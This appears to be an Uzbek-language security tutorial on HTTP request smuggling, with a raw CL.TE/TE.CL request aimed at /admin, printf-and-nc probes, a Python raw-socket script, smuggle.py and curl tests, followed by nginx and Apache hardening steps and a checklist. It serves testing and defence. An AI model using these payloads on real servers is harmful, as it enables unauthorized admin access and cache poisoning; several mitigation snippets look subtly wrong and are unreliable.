🚚
HTTP Request Smuggling
Ikki so'rovni bitta qilish
1
Maqsad
ikki so'rovni bitta qilib yuborishAgar bitta ulanishda front-end va back-end so'rovni turlicha tushunsa — bitta so'rov ichiga ikkinchisini yashirilgan qilib joylash mumkin. Natijada: boshqa foydalanuvchining so'rovi "zaharlangan" bo'lib qoladi.
2
Tushuntirish
// Hujum: Content-Length va Transfer-Encoding ziddiy POST / HTTP/1.1 Host: site.uz Content-Length: 44 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: site.uz Foo: bar // Proxy: "chunked" ko'radi → GET /admin ni YO'Q deb o'ylaydi // Backend: Content-Length ga ishonadi → GET /admin ni QO'SHIMCHA // so'rov deb qabul qiladi → javob keyingi foydalanuvchiga
Nima uchun jiddiy
Zaharlangan so'rovda sizning Cookieingiz borligi uchun backend uni sizning sifatida qabul qiladi. Natija — ba'zi tizimlarda boshqa foydalanuvchining javobini o'zingiz olasiz (ba'zi holatda admin panelini).
3
Qanday aniqlanadi
# 1) CL.TE ni aniqlash printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nContent-Length: 6\r\n\ Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n' \ | nc site.uz 80 | head -20 # 2) TE.CL printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nContent-Length: 4\r\n\ Transfer-Encoding: chunked\r\n\r\n5c\r\nGPOST /admin HTTP/1.1\r\n\ Content-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n' | nc site.uz 80 | head -20 # 3) vaqt o'lchovi (server kutsa = smuggling mumkin) time (printf 'POST / HTTP/1.1\r\nHost: site.uz\r\n\ Content-Length: 45\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n\ GET /slow HTTP/1.1\r\nHost: site.uz\r\n\r\n' | nc site.uz 80 > /dev/null)
4
Buyruqlar
qulay usul# python script — to'g'ri chiziqli kerak (raw socket) python3 - <<'PYEOF' import socket def smuggle(host, path, payload): body = ("0 " + payload) req = (f"POST {path} HTTP/1.1 Host: {host} " f"Content-Length: {len(body)} " "Transfer-Encoding: chunked " + body) s = socket.create_connection((host, 80), 10) s.sendall(req.encode()) print(s.recv(4000).decode(errors="ignore")[:400]) s.close() print("── CL.TE sinovi ──") smuggle("site.uz", "/", "GET / HTTP/1.1 Host: site.uz ") print("── TE.CL sinovi ──") smuggle("site.uz", "/", "8 GPOST /x HTTP/1.1 0 ") PYEOF # qulayroq: burp (Repeater) yoki smuggle.py python3 smuggle.py -u https://site.uz/ -m CL.TE python3 smuggle.py -u https://site.uz/ -m TE.CL # HTTP/2 → HTTP/1 downgrading (h2c smuggling) curl -s --http2-prior-knowledge https://site.uz/ -D- -o /dev/null | head -3 # H2.CL (Cloudflare/origin ziddiyati) curl -s https://site.uz/ -H "Transfer-Encoding: chunked" \ -H "Content-Length: 0" -D- -o /dev/null | head -3 # javobni tekshirish (ikkilari orasida farq bo'lsa) printf 'GET / HTTP/1.1\r\nHost: site.uz\r\n\r\n' | nc site.uz 80 | grep -i "HTTP/1"
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Server ikki javob qaytardi (chunk + HTTP) | **Smuggling tasdiqlandi** |
Kechikish (server kutilgan) | **CL.TE/TE.CL muvaffaqiyatli** |
Keyingi so'rov zaharlangan javob oldi | **Cache poisoning / o'g'irlash** |
Ikki xil Content-Length qabul qilindi | **Parser mos emasligi** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`400 Bad Request` | **To'g'ri** — ziddiyat rad etilgan |
Bitta javob, orqali kutish yo'q | **Yaxshi** |
`Transfer-Encoding` olib tashlangan | **To'g'ri** |
6
Zararni yopish
1. Ziddiyatni bevosita rad etish
// nginx if ($http_transfer_encoding) {{ return 400; }} # TE har doim 400 proxy_http_version 1.1; // Apache AllowEncodedSlashes Off RequestHeader unset Transfer-Encoding
2. Orqada HTTP/2 bo'lsa
// nginx — h2c (cleartext HTTP/2) ni bloklash if ($server_protocol = HTTP/2.0) {{ return 400; }} # faqat TLS orqali
3. To'liq izolyatsiya (barcha zaxiralar uchun)
- Orqada va oldinda bir xil parser/normalizatsiya
- Katta so'rovlarni rad etish (Tepalar chegarasi)
- Yopiq ulanishlar (connection reuse) kam
- Kesh faqat keshlangan holatdan javob beradi (cache key normalization)
4. H2C ni yoq qilish
// nginx listen 443 ssl http2; // faqat TLS // proxy_pass bilan orqada HTTP/1.1 — mismatch bo'lmasin
7
Tekshirish ro'yxati
- `Transfer-Encoding` bilan so'rovlar 400 qaytaradi
- Oldin va orqada bir xil parser
- Tepalar chegarasi (8–16 KB)
- Orqada HTTP/2 ishlatilmaydi
- Kesh kaliti normalizatsiya qilingan
- CL.TE va TE.CL test qilindi